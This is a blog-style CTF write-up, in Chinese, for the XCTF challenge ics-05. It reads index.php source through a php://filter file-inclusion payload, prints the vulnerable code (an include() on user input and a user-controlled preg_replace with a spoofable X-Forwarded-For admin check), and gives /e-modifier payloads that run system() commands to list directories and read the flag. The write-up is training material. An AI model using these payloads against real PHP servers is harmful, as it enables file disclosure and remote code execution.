(xctf)ics-05+php协议

前言

  • 本篇文章的内容有php协议远程读取源代码
  • 基于Preg_Replace函数代码执行
  • 基于xctf的ics-05题目完成这篇文章

一、php协议读取文件

1、寻找位置

点击云平台维护中心,出现参数page;页面回显index;经过测试,你输入服务器没有的内容就会显示什么内容;

 

 

2、分析,构造payload

第一反应;有参数传递,看看有没有注入类的;输入1 and 1=1后,页面就不显示了,简单测试后不是,另找门路;

php的界面,想到php协议和伪协议;试试看

?page=php://filter/read=convert.base64-encode/resource=index.php

分析上述代码

  • php://filter php中协议
  • 关于php://filter内容请戳这里
  • /read=convert.base64-encode 便是PHP协议读取的方式是64编码
  • /resource=index.php     待处理的数据流

 

 

 显示出内容了,找个burp64解码一下;得到源码(其中乱码是中文,不妨碍,重点128行,我加黄了)

  1 <?php
  2 error_reporting(0);
  3 
  4 @session_start();
  5 posix_setuid(1000);
  6 
  7 
  8 ?>
  9 <!DOCTYPE HTML>
 10 <html>
 11 
 12 <head>
 13     <meta charset="utf-8">
 14     <meta name="renderer" content="webkit">
 15     <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
 16     <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
 17     <link rel="stylesheet" href="layui/css/layui.css" media="all">
 18     <title>设备维护中心</title>
 19     <meta charset="utf-8">
 20 </head>
 21 
 22 <body>
 23     <ul class="layui-nav">
 24         <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
 25     </ul>
 26     <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
 27         <legend>设备列表</legend>
 28     </fieldset>
 29     <table class="layui-hide" id="test"></table>
 30     <script type="text/html" id="switchTpl">
 31         <!-- 这里的 checked 的状态只是演示 -->
 32         <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
 33     </script>
 34     <script src="layui/layui.js" charset="utf-8"></script>
 35     <script>
 36     layui.use('table', function() {
 37         var table = layui.table,
 38             form = layui.form;
 39 
 40         table.render({
 41             elem: '#test',
 42             url: '/somrthing.json',
 43             cellMinWidth: 80,
 44             cols: [
 45                 [
 46                     { type: 'numbers' },
 47                      { type: 'checkbox' },
 48                      { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
 49                      { field: 'name', title: '设备名', templet: '#nameTpl' },
 50                      { field: 'area', title: '区域' },
 51                      { field: 'status', title: '维护状态', minWidth: 120, sort: true },
 52                      { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
 53                 ]
 54             ],
 55             page: true
 56         });
 57     });
 58     </script>
 59     <script>
 60     layui.use('element', function() {
 61         var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
 62         //监听导航点击
 63         element.on('nav(demo)', function(elem) {
 64             //console.log(elem)
 65             layer.msg(elem.text());
 66         });
 67     });
 68     </script>
 69 
 70 <?php
 71 
 72 $page = $_GET[page];
 73 
 74 if (isset($page)) {
 75 
 76 
 77 
 78 if (ctype_alnum($page)) {
 79 ?>
 80 
 81     <br /><br /><br /><br />
 82     <div style="text-align:center">
 83         <p class="lead"><?php echo $page; die();?></p>
 84     <br /><br /><br /><br />
 85 
 86 <?php
 87 
 88 }else{
 89 
 90 ?>
 91         <br /><br /><br /><br />
 92         <div style="text-align:center">
 93             <p class="lead">
 94                 <?php
 95 
 96                 if (strpos($page, 'input') > 0) {
 97                     die();
 98                 }
 99 
100                 if (strpos($page, 'ta:text') > 0) {
101                     die();
102                 }
103 
104                 if (strpos($page, 'text') > 0) {
105                     die();
106                 }
107 
108                 if ($page === 'index.php') {
109                     die('Ok');
110                 }
111                     include($page);
112                     die();
113                 ?>
114         </p>
115         <br /><br /><br /><br />
116 
117 <?php
118 }}
119 
120 
121 //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
122 
123 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
124 
125     echo "<br >Welcome My Admin ! <br >";
126 
127     $pattern = $_GET[pat];
128     $replacement = $_GET[rep];
129     $subject = $_GET[sub];
130 
131     if (isset($pattern) && isset($replacement) && isset($subject)) {
132         preg_replace($pattern, $replacement, $subject);
133     }else{
134         die();
135     }
136 
137 }
138 
139 
140 ?>
141 
142 </body>
143 
144 </html>

二、Preg_Replace函数的代码执行

1、介绍Preg_Replace函数

preg_replace 函数执行一个正则表达式的搜索和替换。

语法

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

简单来说就是搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。

  • $replacement: 用于替换的字符串或字符串数组。

  • $subject: 要搜索替换的目标字符串或字符串数组。

  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。

  • $count: 可选,为替换执行的次数。

例子:

 图片中slow替换了quick。

2、preg_replace /e 模式

  /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。

提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误

所以我们要使 replacement 参数是我们想要的php代码即可

此处引用大佬博客

代码分析:

123 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1')  //使用插件X-Forwarded-For Header改地址,
     {                                                 124 125 echo "
<br >Welcome My Admin ! <br >"; 126 127 $pattern = $_GET[pat]; 128 $replacement = $_GET[rep]; //判断三个变量存不存在,在进行perg_replace函数 129 $subject = $_GET[sub]; 130                                 //这里的三个变量都是由我们输入,就方便多了                       131 if (isset($pattern) && isset($replacement) && isset($subject)) { 132 preg_replace($pattern, $replacement, $subject); 133 }else{ 134 die(); 135 }

payload:

index.php?sub=abc&pat=/a/e&rep=system("ls")

 

index.php?sub=abc&pat=/a/e&rep=system("cd s3chahahaDir;ls -l")

 

ndex.php?sub=abc&pat=/a/e&rep=system("cd s3chahahaDir/flag;ls -l")

 

ndex.php?sub=abc&pat=/a/e&rep=system("cd s3chahahaDir/flag;cat flag.php")

最后的flag在网页里

 

 

 

 

总结

  • php协议在实际中的应用
  • preg_replace() 函数/e模式下的妙用(还有很多方式)

 

posted @ 2020-06-18 01:19  ~Wal  阅读(369)  评论(0)    收藏  举报